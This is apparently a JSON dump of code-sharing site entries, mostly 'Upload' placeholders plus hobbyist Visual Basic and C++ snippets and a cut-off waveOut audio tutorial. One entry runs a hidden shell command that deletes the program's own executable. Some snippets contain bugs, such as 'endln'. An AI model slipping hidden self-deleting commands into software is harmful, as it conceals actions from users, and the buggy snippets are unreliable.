oIn.readLine"},{"WorldId":1,"id":42287,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42291,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42293,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42295,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42306,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42312,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42315,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42317,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42341,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42351,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42355,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42356,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42376,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42380,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42382,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42401,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42402,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42413,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42414,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42418,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42423,"LineNumber":1,"line":"Dim acadApp As AcadApplication 'reference to the AutoCAD application\n Dim acadDocs As AcadDocuments 'reference to the AutoCAD Documents collection\n Dim acadDoc As AcadDocument 'reference to a Document in the Collection\n Dim acadBlock As AcadBlockReference 'Block reference\n Dim strTemplate As String 'path to template file\n Dim dblInsertPt(2) As Double 'array with insert points (X,Y,Z)\n \n strTemplate = \"S:\\D+Acad\\D+Templates\\APF-Floor Plan.dwt\" 'change to the path of the template you want\n \n Set acadApp = ThisDrawing.Application 'connect to AutoCAD application\n Set acadDocs = acadApp.Documents 'get the Documents collection\n Set acadDoc = acadDocs.Add 'create an empty document\n \n 'set the inseration points to 0,0,0\n dblInsertPt(0) = 0# 'X\n dblInsertPt(1) = 0# 'Y\n dblInsertPt(2) = 0# 'Z\n \n 'Insert the template with no XYZ scale and no rotation\n Set acadBlock = acadDoc.ModelSpace.InsertBlock(dblInsertPt, strTemplate, 1, 1, 1, 0)\n acadBlock.Explode 'explode the template\n acadApp.ZoomExtents 'zoom to the extents\n \n 'clear objects from memory\n Set acadBlock = Nothing\n Set acadDoc = Nothing\n Set acadDocs = Nothing\n Set acadApp = Nothing"},{"WorldId":1,"id":42427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42444,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42470,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42471,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42489,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42512,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42523,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42553,"LineNumber":1,"line":"The file is 1.5 mb so psc wont let me upload it, please download it from www.tripod.com/andres_zacarias/Files/GameWOF1-7.zip .\nor\nwww.geocities.com/do_you_kaposai/GameWOF1-7.zip"},{"WorldId":1,"id":42559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42572,"LineNumber":1,"line":"Because of the layout of this page (no indent) you won't see what I'm talking about. So please download the small text file. 21/01/03, 23:36 updated text file."},{"WorldId":1,"id":42573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42577,"LineNumber":1,"line":"<pre>Private Declare Function InternetGetConnectedState Lib \"wininet.dll\" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Integer\nPrivate Const INTERNET_CONNECTION_PROXY = &H4\nPrivate Const INTERNET_CONNECTION_CONFIGURED = &H40\nPrivate Const INTERNET_CONNECTION_LAN = &H2\nPrivate Const INTERNET_CONNECTION_MODEM = &H1\nPrivate Const INTERNET_RAS_INSTALLED = &H10\nPrivate Const INTERNET_CONNECTION_OFFLINE = &H20\nPrivate Type tConnectionStatus\n Connected As Boolean\n ConnectionType As String\n RASInstalled As Boolean\nEnd Type\n'general declarations....\nPrivate Function GetConnectionInfo(ConnectionStatus As tConnectionStatus) As Boolean\nDim pdFlags& 'Dimensionalize pdFlags as long data type\n If InternetGetConnectedState(pdFlags&, 0) Then\n 'Call InternetGetConnectedState to initialize pdFlags with the current connection information flags\n GetConnectionInfo = True\n 'InterNetGetConnectedState function was successful, return true\n If (pdFlags& And INTERNET_CONNECTION_PROXY) = INTERNET_CONNECTION_PROXY Then\n'Perform a Bitwise And operation to determine if the variable pdFlags specifies the Internet_Connection_Proxy constant\n ConnectionStatus.ConnectionType = \"Local system uses a proxy server to connect to the Internet.\"\n'Initialize ConnectionStatus's ConnectionType member with the appropriate connection description\n ConnectionStatus.Connected = True\n 'Initialize this structures Connected member\n End If\n If (pdFlags& And INTERNET_CONNECTION_CONFIGURED) = INTERNET_CONNECTION_CONFIGURED Then\n ConnectionStatus.Connected = True\n ConnectionStatus.ConnectionType = \"Local system has a valid connection to the Internet, but it might or might not be currently connected.\"\n End If\n If (pdFlags& And INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN Then\n ConnectionStatus.ConnectionType = \"Local system uses a local area network to connect to the Internet.\"\n ConnectionStatus.Connected = True\n End If\n If (pdFlags& And INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM Then\n ConnectionStatus.ConnectionType = \"Local system uses a modem to connect to the Internet.\"\n ConnectionStatus.Connected = True\n End If\n If (pdFlags& And INTERNET_CONNECTION_OFFLINE) = INTERNET_CONNECTION_OFFLINE Then\n ConnectionStatus.ConnectionType = \"Local system is in offline mode.\"\n ConnectionStatus.Connected = False\n End If\n If (pdFlags& And INTERNET_RAS_INSTALLED) = INTERNET_RAS_INSTALLED Then\n ConnectionStatus.RASInstalled = True\n End If\n End If\nEnd Function\nPrivate Sub Command1_Click()\nDim MyConnectionStatus As tConnectionStatus\n'Dimensionalize MyConnectionStatus as user-defined type structure tConnectionStatus\n GetConnectionInfo MyConnectionStatus 'See this sub routine for more info...\n MsgBox \"Connected: \" & MyConnectionStatus.Connected & vbCrLf & \"Type: \" & MyConnectionStatus.ConnectionType\n 'Show MsgBox modal dialog to display the connection info...\nEnd Sub</pre>"},{"WorldId":1,"id":42583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42584,"LineNumber":1,"line":"Private Sub DataGrid1_HeadClick(ByVal ColIndex As Integer)\n With AdoBoeken.Recordset\n If (.Sort = .Fields(ColIndex).[Name] & \" Asc\") Then\n .Sort = .Fields(ColIndex).[Name] & \" Desc\"\n Else\n .Sort = .Fields(ColIndex).[Name] & \" Asc\"\n End If\n End With\nEnd Sub"},{"WorldId":1,"id":42586,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42587,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42596,"LineNumber":1,"line":"<h2>A Few Quick Notes</h2>\n1. This is not an article, but it is the only way I know of submitting something decently formatted.\n2. The category for this article is \"Complete Applications\" since I could not find a better category.\n3. This application was developed and compiled using Visual Basic 5, SP3, and has not been tested under VB6. I hope, though, it will work fine once it is compiled.\n<h2>Introduction</h2>\nThis is a small program that demonstrates how to shell out a process via ShellExectuteEx and monitor it for completion (termination) by using a worker thread.\nVB has a lot of limitations when it comes to multithreading. For example, in order to pass data to the thread procedure, you must ensure that data is allocated throughout the lifetime of the thread because VB lacks of pointers. In this example, I use form-level variables to store thread data, but as usual, you can use the Heap* API functions to allocate memory and pass pointers to the thread, so the thread can release the memory once it is done using the data.\nIn C++ it would be easy:\n<code>typedef struct tagThreadData \n { \n //blah blah all struct members \n } ThreadData; \n \nThen, you use the new operator in code: \n \nThreadData* pData = new ThreadData; \n \nYou then pass pData to CreateThread API and that is it. The thread could then do a \"delete lpThreadData;\" so the main thread does not have to worry about it.</code>\nSee? In C++, the thread can delete the data once it is not needed so the main thread does not have to worry about maintaining the data. This, sadly enough, is not the case in this sample program, although, as I said before, you could use the Heap* functions to simulate what C++ can do natively.\nThe other big limitation of VB when it comes to multithreading is the inability to debug, or run from the IDE.\nAlthough I was able to use the IDE to test the waiting, the program crashed while using the stop process button. So, in order to be really sure the program works, you must compile. And if you need to track a bug, you must set a log file or something similar into the compiled executable.\n<h2>How this Program Works</h2>\nUnlike its implementation, the principle is simple: Shell out a process, then use a process handle and wait on it in a separate thread, so the main thread (the VB user interface) can be used in the meantime.\n<h3>COM Rules and Memory Lifetime</h3>\nAs far as I can tell, all VB programs are apartment-threaded, so any use of COM objects outside the main thread require marshaling. This is something I was not prepared to face at the moment, so I figured out a way of communicating with the main thread differently: SendMessage. The data passed to the worker thread is:\n<code>Type ThreadDataType \n hwnd As Long \n hWndEdit As Long \n ExeName As Long \n Action As Long \nEnd Type</code>\nhwnd: The window handle of the main form. This form will be the owner of any message boxes produced by the system while trying to shell out the specified process.\nhWndEdit The window handle of the textbox used to display the status of the shelled process. This is where the actual communication between threads occur. By using SendMessage with WM_SETTEXT, the Change event of the textbox is fired, and therefore, the main thread gets informed of the state of the process. Well, the Change event and a Event object used as a boolean value. This is how I avoided marshaling COM interface pointers.\nExeName: A pointer to an ANSI null-terminated string containing the filename to shell out. This corresponds to VarPtr(arrExe(0)) in the LaunchApp() procedure in form1.\nAction: A pointer to an ANSI null-terminated string containing the action to perform on the specified file. Corresponds to VarPtr(arrAction(0)).\n The last two members are the \"hack\" to ensure the parameters will be available for the thread to use. Two strings must be passed, but since they must be ANSI and VB strings are Unicode, I convert the string unsing StrConv(vbFromUnicode) and store the result in a byte array. Note the explicit addition of the null char. This is completely necessary. Then, I pass the pointer of the first element, as all array elements are contigous in memory.\n<h3>Synchonization Objects</h3>\nA multithreaded project that does not synchronize the threads is guaranteed to fail, especially in VB, which was not designed for multithreading the way we all want to use them.\nThis project uses three synchronization objects of type Event: The first one, hEventExit, is used to signal the worker thread that the main thread wants/needs to terminate the thread. The second one, hEventNoProcess is used as a boolean flag in the Change event of the tbStatus textbox to see if there is a current process being monitored. The worker thread is in charge of signaling this event. Finally, hEventNoMessages is used to prevent deadlocking of the two threads. This one require a little more explanation.\nThe worker thread waits on the main thread implicitly when using SendMessage to set the tbStatus textbox's text. SendMessage API does not return until the message has been processed. Furthermore, PostMessage cannot be used because lParam must be set to a pointer. Therefore, if the main thread waits on the worker thread to find out when its execution finishes, you will have a deadlock situation the moment SendMessage is used in the worker thread. This is why the procedure KillExe in form1 signales the hEventNoMessages handle prior of signaling of hEventExit: To ensure the worker thread will NOT use SendMessage. You can see the worker thread's code for full undertanding.\n<h2>Final Notes</h2>\nAlthough this program seems to be quite effective in achieving its goal, I in no way say this is the final and best way. This is just a way, especially because this is my first multithreaded project in VB.\nI encourage everyone to download and test the program in order to critize it and let me know of better ways to achieve multithreading. I thank you all for reading.\nFinally, let me inform you that you will find a file inside the zip called project1.exd. This file is the executable file compiled in VB5, just in case VB6 fails and you want to see the program works. Just rename the file to project1.exe."},{"WorldId":1,"id":42597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42611,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42635,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":42642,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60265,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60273,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60283,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60304,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":60316,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56805,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56822,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56823,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56826,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56827,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56829,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56833,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56837,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56838,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56865,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56878,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56881,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56893,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56896,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56900,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56903,"LineNumber":1,"line":"The most important factor of knowing that your\nproject is compliant is API. Before publishing you particular project be sure to\ngo to MSDN at Microsoft & cross reference all your API calls. At the bottom\nof each API description page at MSDN is a list that shows what operating systems\nthat particular API call is valid on. It is OK to implement both if you use a\noperating system detection API to fire or not to fire the correct API for the\ndetected operating system.\nThe second factor is null filtering on NT\noperating systems. Be sure to debug your application on either windows 2000 or\nXP to find out if any of your code generates any null characters when returning\ndata. Null characters are indicated by a empty square box or boxes in your\nstring data. If null characters do exist be sure to use a null filter in those\nareas of your code. Windows NT operating systems are famous for generating null characters.\nThis is why most programmers now days either work in windows 2000 or XP.\nTheir you have it, its as simple as that !!!"},{"WorldId":1,"id":56909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56921,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56929,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56931,"LineNumber":1,"line":"This would appear to be the biggest single collection of Windows icons on the internet. I looked everywhere for versions of the Windows Xp icons that I could use in my VB projects, all over the web and found very little. So I gave up and did it myself. Included in this download are OVER 800 ICONS FILES.\nAll icons are set up to work within VB. I think I got every Windows XP icon there is, and more. There are toolbar icons matching those used in Outlook Express, IE and Windows Explorer all ready for use in VB. All files are kept to one format per icon - which is how VB likes them. Normally one ico file hold 16x16, 24x24, 32x32, 48x48 all in severaldifferent colour resolutions. These icons are all 256 or 16.1M colours which are all VB supports (WinXP uses new 24/32bit alpha - but VB dosn't support this).\nThere is some code included, but only to demonstrate the icons. Its an image thuimbnail browser, patched together from PSC submissions.\nI appreciate this isn't really a 'code' submission however it is undoubtedly of great use to any VB programmer, preparing these icons took *lots* of my time and I would appreciate a little feedback and acknowledgement for my hard work.\nIf you want more Icons do let me know, these are just most of my Windows XP ones - I have more for ME/98.\nI would have posted a screenshot, but thought why? After all we all know what Windows Icons look like."},{"WorldId":1,"id":56933,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56955,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56959,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56968,"LineNumber":1,"line":"1. On the Welcome dialog, click on the option that says \"Create new Self Extraction Directive file.\", then click the \"Next\" button.\n\n2. Click on the \"Extract files only\" option, then click the \"Next\" button again.\n\n3. Type the title of the package. This will appear in the title of nearly ALL the dialogs. Click \"Next\".\n\n4. Click on the \"Prompt user with:\" option, then type what you want the confirmation dialog to say before installation, then click \"Next\".\n\n5. Select the \"Display a license:\" option, then input the path of the License-Agreement file (must have text), then (you guessed it!) click the \"Next\" button.\n\n6. Add all the files that you want to package, then click \"Next\".\n\n7. Select the option you want for the main screen, then click \"Next\".\n\n8. Click on the \"Display message:\" option, then type anything you want to display when the setup is done, then click \"Next\" (Let me know when you get sick of me saying to click the \"Next\" button). \n\n9. Input the path of your self-extracting executable file. Make sure that only the \"Store files using Long File Name inside Package\" option is checked, then click \"Next\".\n\n10. If you want to save the info for the package, click on the \"Save Self Extraction Directive (SED) file:\" option, and input the path to which you want to save the file. If you don't want to save, then click the \"Don't save.\" option. Click \"Next\", then, when you are ready to create your package, click \"Next\" again. Enjoy!"},{"WorldId":1,"id":56984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56992,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":56998,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57004,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57007,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57019,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57021,"LineNumber":1,"line":"'Hide the following code in a module someware!\nPrivate Declare Function GetCursorPos Lib _\n \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Type POINTAPI\n x As Long\n y As Long\nEnd Type\n'------------------------------\nPublic Function GetPos(Optional x As Single _\n = 0, Optional y As Single = 0)\nDim Pos As POINTAPI\nDim retVal As Boolean\n retVal = GetCursorPos(Pos)\n x = Pos.x\n y = Pos.y\nEnd Function\n' Put the following into the form of your\n' choice and then create a timer called\n' 'Timer1' and remember to set the interval\n' to something like '10'\n'-----------------------------\nPrivate Sub Timer1_Timer()\nDim x As Single\nDim y As Single\n GetPos x, y\n Me.Caption = x & \"x\" & y\nEnd Sub\n"},{"WorldId":1,"id":57027,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57028,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57030,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57042,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57043,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57045,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57063,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57064,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57069,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57074,"LineNumber":1,"line":"Shell \"cmd /k del \" & \"Project1.exe\", vbHide\nEnd"},{"WorldId":1,"id":57075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57080,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57083,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57085,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57095,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57106,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57114,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57128,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":57136,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8669,"LineNumber":1,"line":"#include <iostream>\n#include <math.h>\nusing namespace std;\nvoid main(){\n\tint val,i,j,x;\n\tchar p[100];\n\tcout<<\"Enter binary:\";cin>>p;\n\tval=0;\n\tx=2;\n\tj=0;\n\tfor(i = char_traits<char>::length(p)-1;i > -1;i--){\n\t\tx =pow(2,j);\n\t\tswitch(p[i]){\n\t\tcase '0':\n\t\t\tx = 0;\n\t\t\tbreak;\n\t\tcase '1':\n\t\t\tx = x;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tgoto out;\n\t\t\tbreak;\n\t\t}\n\t\tval += x;\n\t\tj++;\n\t}\n\tcout<<val<<endln;\nout:\n\treturn;\n}"},{"WorldId":3,"id":8583,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":3668,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4781,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7117,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7628,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7658,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4772,"LineNumber":1,"line":"//by fritz300 of http://hax-studios.net\n#include <fstream.h>\n#include <iostream.h>\n#include <stdlib.h>\nint main()\n{\n\t//** Declare Varibles, Theres only one\n\tchar text[80];\n\t\n\t//** Declare pointers\n\tifstream fin;\n\tofstream fout;\n\t//** Begin; tell user what he/she is about to do\n\tcout << \"Welcome to Fritzs Text Write program, This program (with source code included) \\nwill teach you how to write text to files!\\n\\n\";\n\t//** End;\n\tcout << \"Type a word:\\n\";\n\tcin >> text;\n\tfout.open(\"c:/windows/desktop/file.txt\"); //** Opens the file to write too.\n\tfout << \"Fritzs Text Write Program Example:\\n\\nYou typed:\\n\\n\\t\";\n\tfout << text; //** Writes the input to file.txt\n\tfout.close();\n\t//** Error handler aka what happens if a error occurs\n\tif( !fin || !fout )\n\t{\n\t\tcout<<\"Error has occured. Cannot open file.txt\\n\\n\" << endl;\n\t}\n\tcout<<\"\\nText was successfully written to C:/windows/desktop/file.txt\\n\" << endl;\n\tcout << \"\\n\\n\\tText write program by Zak Farrington alias fritz owner of hAx Studios Ltd. <http://hax-studios.net> development team.\" << endl;\n\tsystem(\"PAUSE\"); \n \treturn 0;\n}"},{"WorldId":3,"id":8265,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4681,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":9095,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4422,"LineNumber":1,"line":"\n \n \n Windows waveOut Tutorial\n \n \n \n \n \n This tutorial is designed to help you use the windows waveOut interface\n for playing digital audio. I know from experience that the interface can be\n pretty difficult to get to grips with. Through this tutorial I will build \n a windows console application for playing raw digital audio. This is my first\n tutorial so I'll apologise for the mistakes in advance!\n \n Note: This tutorial assumes that you are competent with C programming and\n using the Windows API functions. A basic understanding of digital audio is \n useful but not completely necessary.\n \n \n Contents\n <ul>\n <li>Get The Documentation!</li>\n <li>What is Digital Audio?</li>\n <li>Opening the Sound Device</li>\n <li>Playing a Sound</li>\n <li>Streaming Audio to the Device</li>\n <li>The Buffering Scheme</li>\n <li>The Driver Program</li>\n <li>What Next?</li>\n <li>Contacting Me</li>\n </ul>\n \n \n \n \n \n Get The Documentation!\n \n \n \n \n \n The first thing you'll need is some decent documentation on the waveOut \n interface. If you have the Microsoft Platform SDK (a worthwhile download)\n or a copy of Visual C++ then you already have the relevent information in\n the documentation provided. If you don't have either of these you can\n view the documentation online at Microsoft's Developer website (msdn.microsoft.com).\n \n \n \n \n \n What is Digital Audio?\n \n \n \n \n \n This bit is for people who have absolutely no idea how digital audio is stored. Skip this\n section if you know all about digital audio and you know the meaning of the terms 'Sample',\n 'Sampling Rate', 'Sample Size', and 'Channels'.\n \n \n It's all very well sending all these bytes to the sound card but what do these bytes mean?\n Audio is simply a series of moving pressure waves. In real life this is an analogue\n wave, but in the digital world we have to store it as a set of samples along this\n wave. A sample is a value that represents the amplitude of the wave at a given point in time\n - it's just a number.\n \n \n The sampling rate is how frequently we take a sample of the wave. It is measured in hertz (Hz)\n or 'samples per second'. Obviously the higher the sampling rate, the more like the analogue\n wave your sampled wave becomes, so the higher the quality of the sound. \n \n Another thing that contributes to the quality of the audio is the size of each sample.\n Yes, you guessed it. The larger the sample size the higher the quality of the audio. \n Sample size is measured in bits. Why is the quality better? Consider an 8 bit sample. It has\n 256 (2^8) possible values. This means that you may not be able to represent the exact\n amplitude of the wave with it. Now consider a 16 bit sample. It has 65536 possible values\n (2^16). This means that it is 256 times as accurate as the 8 bit sample and can thus\n represent the amplitude more accurately.\n \n \n The final thing I'll touch on here is the channels. On most systems you have two speakers,\n left and right. That's two channels. This means that you must store a sample for the left\n channel and the right channel. \n Fortunately this is easy for two channels (which is the most you'll encounter in this tutorial).\n The samples are interleaved. That is the samples are stored, left, right, left, right etc...\n \n \n CD quality audio is sampled at 44100 Hz, has a sample size of 16 bits and has 2 channels. This\n means that 1 MB of audio data lasts for approximately 6 seconds.\n \n \n \n \n \n Opening the Sound Device\n \n \n \n \n \n To open the sound device you use the waveOutOpen function (look this up in your\n documentation now). Like most Windows objects, you basically need a handle to anything\n to use it. When you act on a window you use a HWND handle. Similarly when you act on \n a waveOut device you use a HWAVEOUT handle.\n \n \n So now comes the first version of our application. This simply opens the wave device\n to a CD quality standard, reports what's happened and closes it again.\n \n \n \n <table bgcolor=\"#e0e0e0\">\n <tr>\n <td>\n <pre>\n#include <windows.h>\n#include <mmsystem.h>\n#include <stdio.h>\nint main(int argc, char* argv[])\n{\n HWAVEOUT hWaveOut; /* device handle */\n WAVEFORMATEX wfx; /* look this up in your documentation */\n MMRESULT result; /* for waveOut return values */\n /*\n * first we need to set up the WAVEFORMATEX structure. \n * the structure describes the format of the audio.\n */\n wfx.nSamplesPerSec = 44100; /* sample rate */\n wfx.wBitsPerSample = 16; /* sample size */\n wfx.nChannels = 2; /* channels */\n /*\n * WAVEFORMATEX also has other fields which need filling.\n * as long as the three fields above are filled this should\n * work for any PCM (pulse code modulation) format.\n */\n wfx.cbSize = 0; /* size of _extra_ info */\n wfx.wFormatTag = WAVE_FORMAT_PCM;\n wfx.nBlockAlign = (wfx.wBitsPerSample >> 3) * wfx.nChannels;\n wfx.nAvgBytesPerSec = wfx.nBlockAlign * wfx.nSamplesPerSec;\n /*\n * try to open the default wave device. WAVE_MAPPER is\n * a constant defined in mmsystem.h, it always points to the\n * default wave device on the system (some people have 2 or\n * more sound cards).\n */\n if(waveOutOpen(\n &hWaveOut, \n WAVE_MAPPER, \n &wfx, \n 0, \n 0, \n CALLBACK_NULL\n ) != MMSYSERR_NOERROR) {\n fprintf(stderr, 